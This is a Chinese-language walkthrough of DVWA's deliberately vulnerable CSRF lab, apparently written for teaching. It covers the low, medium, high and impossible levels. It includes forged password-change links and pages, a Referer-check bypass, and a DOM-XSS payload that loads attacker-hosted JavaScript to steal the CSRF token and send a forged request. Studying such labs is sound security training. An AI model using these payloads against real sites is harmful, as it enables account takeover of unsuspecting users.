# DVWA CSRF (教學用) ###### tags: `DVWA` ## low: 改密碼 get : ```htmlembedded <form action="#" method="GET"> New password:<br /> <input type="password" autocomplete="off" name="password_new" /><br /> Confirm new password:<br /> <input type="password" autocomplete="off" name="password_conf" /><br /> <br /> <input type="submit" value="Change" name="Change" /> </form> ``` GET 方式的話,很簡單。 ``` http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change# ``` ### 製作一個網頁(給受害者) ```htmlembedded <!DOCTYPE html> <html> <head> <title></title> </head> <body> <a href="http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#">go</a> </body> </html> ``` 已登入狀態下點擊這 link 就會修改密碼。 ### code: ```php! <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 沒有任何判斷是否來自同一個頁面。 ## medium ```htmlembedded <form action="#" method="GET"> New password:<br /> <input type="password" autocomplete="off" name="password_new" /><br /> Confirm new password:<br /> <input type="password" autocomplete="off" name="password_conf" /><br /> <br /> <input type="submit" value="Change" name="Change" /> </form> ``` 上方的方式沒用了,他顯示: That request didn't look correct. 肯定是加了某些判別是否來自同個域名的條件。 code 關鍵點: ``` if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) ``` 查看(跳轉來源)是否跟(伺服器) 為同域, ### 在別的網域上架設一個名為localhost.html 的網域 http://192.168.43.84/localhost.html * a tag 加上 referrerpolicy : unsafe-url https://www.ruanyifeng.com/blog/2019/06/http-referer.html ```htmlembedded <!DOCTYPE html> <html> <head> <title></title> </head> <body> <a href="http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#" referrerpolicy='unsafe-url' >go</a> </body> </html> ``` 點擊就可成功。 ## high: bp 抓包 發現加上了 user_token ```http GET /vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token=4e67863af0630abb4ecdb345172ddca9 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/vulnerabilities/csrf/ Cookie: PHPSESSID=5b3b866450ea4fb9b8cfa16f610a6065; security=high Upgrade-Insecure-Requests: 1 ``` ### hacker 預先是不可能知道 token 的,所以無法偽造。 但如果,你網站有xss 的話,token 就失效了。 xss 的頁面抓取 token -> 惡意csrf + token 請求 ### xss dom (high) ```link http://localhost/vulnerabilities/xss_d/?default=English#<script src="http://192.168.43.84/hack.js"></script> ``` ### http://192.168.43.84/hack.js 雖然也可以一次寫,不需要放個外部JS,不過這樣比較美觀 ```javascript async function getToken(url) { let data = await fetch(url); // data 轉為 text data = await data.text(); //創造dom 物件 const parser = new DOMParser(); //把resoonse資料轉成dom const htmlDoc = parser.parseFromString(data, "text/html"); //querySelector 抓取 token let token = htmlDoc.querySelector("input[name=user_token]").value; //回傳token return token; } async function csrf_send() { //拿token let url = "http://localhost/vulnerabilities/csrf/"; let token = await getToken(url); //csrf csrf_url_Request = "http://localhost/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change&user_token=" //加上token csrf_url_Request += token; //console.log(csrf_request) ; //fetch 發出請求 fetch(csrf_url_Request); } csrf_send(); ``` ## impossible 多加上了一個 輸入舊密碼,要正確才能夠完成更改密碼。 礙於dvwa session impossible 的問題,不然應該還是可以加上暴力破解,來猜測成功。 (high 才有xss impossible 沒有)